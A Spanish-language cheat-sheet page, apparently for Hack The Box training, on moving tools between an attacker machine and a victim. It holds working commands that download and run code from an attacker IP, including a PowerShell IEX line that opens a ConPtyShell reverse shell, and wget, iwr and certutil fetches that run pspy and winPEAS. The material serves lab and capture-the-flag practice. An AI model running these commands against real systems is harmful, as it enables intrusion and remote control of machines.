Transferencia de herramientas
Pasar herramientas y ficheros de tu máquina a la víctima (y al revés).
Cómo aparece en Hack The Box
Un python3 -m http.server en tu máquina y wget, curl, certutil o iwr en la víctima. Si no hay salida HTTP, usa SMB (impacket-smbserver) o base64 a mano.
Todavía no hay máquinas del catálogo con esta técnica: practícala con los comandos y las guías en tu propio laboratorio.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Generador de reverse shells › Windows
TTY completa en Windows (ConPtyShell)
Víctima
IEX(IWR http://10.10.14.5/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.10.14.5 443Transferencia de archivos › Linux
Servidor HTTP en la carpeta actual
Atacante
python3 -m http.server 80
wget
Víctima
wget http://10.10.14.5/linpeas.sh -O /tmp/linpeas.shTransferencia de archivos › Windows
PowerShell
Víctima
iwr http://10.10.14.5/fichero.exe -OutFile C:\Windows\Temp\fichero.exe
certutil
Víctima
certutil -urlcache -split -f http://10.10.14.5/fichero.exe C:\Windows\Temp\fichero.exe
Recurso SMB en tu máquina
Atacante
impacket-smbserver share $(pwd) -smb2support
Si Windows bloquea el acceso de invitado
Atacante
impacket-smbserver share $(pwd) -smb2support -username pwn -password pwnEscalada de privilegios en Linux › Comprobaciones
Ver procesos que se lanzan solos (pspy)
wget http://10.10.14.5/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64Escalada en Windows y Active Directory › Windows
winPEAS
iwr http://10.10.14.5/winPEASx64.exe -OutFile C:\Windows\Temp\wp.exe; C:\Windows\Temp\wp.exelinPEAS › Llevarlo a la víctima
Servirlo desde tu máquina
Atacante
python3 -m http.server 80Ningún comando coincide.